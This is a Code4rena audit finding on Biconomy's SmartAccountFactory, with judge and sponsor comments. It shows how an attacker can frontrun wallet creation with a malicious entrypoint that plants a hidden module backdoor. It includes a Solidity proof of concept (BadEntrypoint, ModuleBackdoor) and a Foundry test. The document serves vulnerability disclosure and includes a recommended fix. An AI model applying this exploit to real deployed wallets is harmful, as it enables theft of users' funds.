SmartAccount wallet creation can be backdoored

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53

Vulnerability details

At wallet creation time, an attacker can temporarily swap the address of the entrypoint to install a backdoor in the form of a registered module in the wallet.

Since wallets don't necessarily need to be created by their owners, an attacker can frontrun the wallet creation or trick the user using phishing techniques and modify the _entryPointAddress parameter with a custom version.

Entrypoints have total control of the wallet through the execFromEntryPoint. This means that the attacker can use a contract that acts as a temporal entrypoint to install and register a module in the wallet. This module would then sit dormant in the wallet until the attacker decides to use it against the user.

After the backdoor module is installed, the same temporal entrypoint implementation can be used to replace the wallet's entrypoint back to the original legit implementation. This would leave a wallet initialized with the intended owner and entrypoint, but with the backdoor already installed.

In summary, an attack can create a backdoored wallet on behalf of a user by swapping the entrypoint with an implementation that registers the backdoored module and then replaces the entrypoint implementation back to the original version (see PoC for more details).

Impact

The installed module acts as a backdoor that has total control of the user's wallet, as any module can execute arbitrary code in the context of the SmartAccount contract through the execFromEntryPoint function.

The attacker can then wait for the right moment to steal any funds present in the wallet or compromise any integration associated with the wallet.

Note that this attack is also possible using the counterfactual wallet generation (SmartAccountFactory.deployCounterFactualWallet) as the entrypoint address is not part of the salt or init hash passed to create2.

PoC

In the following test, an attacker creates Bob's wallet by replacing the entrypoint with a version that is used to install the backdoor. The steps are:

1. Deploy BadEntrypoint and ModuleBackdoor
2. Frontrun wallet's creation using BadEntrypoint as the entrypoint. Owner and handler are the same.
3. Call BadEntrypoint.enableBackdoor which will install the backdoored module by calling ModuleManager.enableBackdoor from the entrypoint and then replacing the entypoint itself with the real entrypoint implementation.

contract ModuleBackdoor {
    function hack() external {
        // we can call execTransactionFromModule from this module to execute arbitrary code
    }
}

contract BadEntrypoint {
    function enableBackdoor(SmartAccount wallet, address module, address realEntrypoint) external {
        wallet.execFromEntryPoint(
            address(wallet), // address dest
            0, // uint value
            abi.encodeWithSelector(ModuleManager.enableModule.selector, module), // bytes calldata func
            Enum.Operation.Call, // Enum.Operation operation
            gasleft() // uint256 gasLimit
        );
        wallet.execFromEntryPoint(
            address(wallet), // address dest
            0, // uint value
            abi.encodeWithSelector(SmartAccount.updateEntryPoint.selector, realEntrypoint), // bytes calldata func
            Enum.Operation.Call, // Enum.Operation operation
            gasleft() // uint256 gasLimit
        );
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }

    function test_SmartAccountFactory_WalletBackdoor() public {
        vm.startPrank(attacker);

        BadEntrypoint badEntrypoint = new BadEntrypoint();
        ModuleBackdoor backdoor = new ModuleBackdoor();

        // Initialize bob's wallet with bad entrypoint
        address proxy = factory.deployWallet(bob, address(badEntrypoint), handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        // Attacker's entrypoint will enable the backdoor module and replace entrypoint for the real version
        badEntrypoint.enableBackdoor(wallet, address(backdoor), entrypoint);

        // Backdoor is installed and enabled
        assertTrue(wallet.isModuleEnabled(address(backdoor)));
        // Owner and entrypoint are correct
        assertEq(wallet.owner(), bob);
        assertEq(address(wallet.entryPoint()), entrypoint);

        vm.stopPrank();
    }
}

Recommendation

This may need further discussion. The entrypoint address can be fixed in the base SmartAccount implementation (the base implementation that the factory uses to initialize the Proxy). This way, a new wallet can be created without explicitly passing the entrypoint address.

[c4-judge]

gzeon-c4 marked the issue as duplicate of #460

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory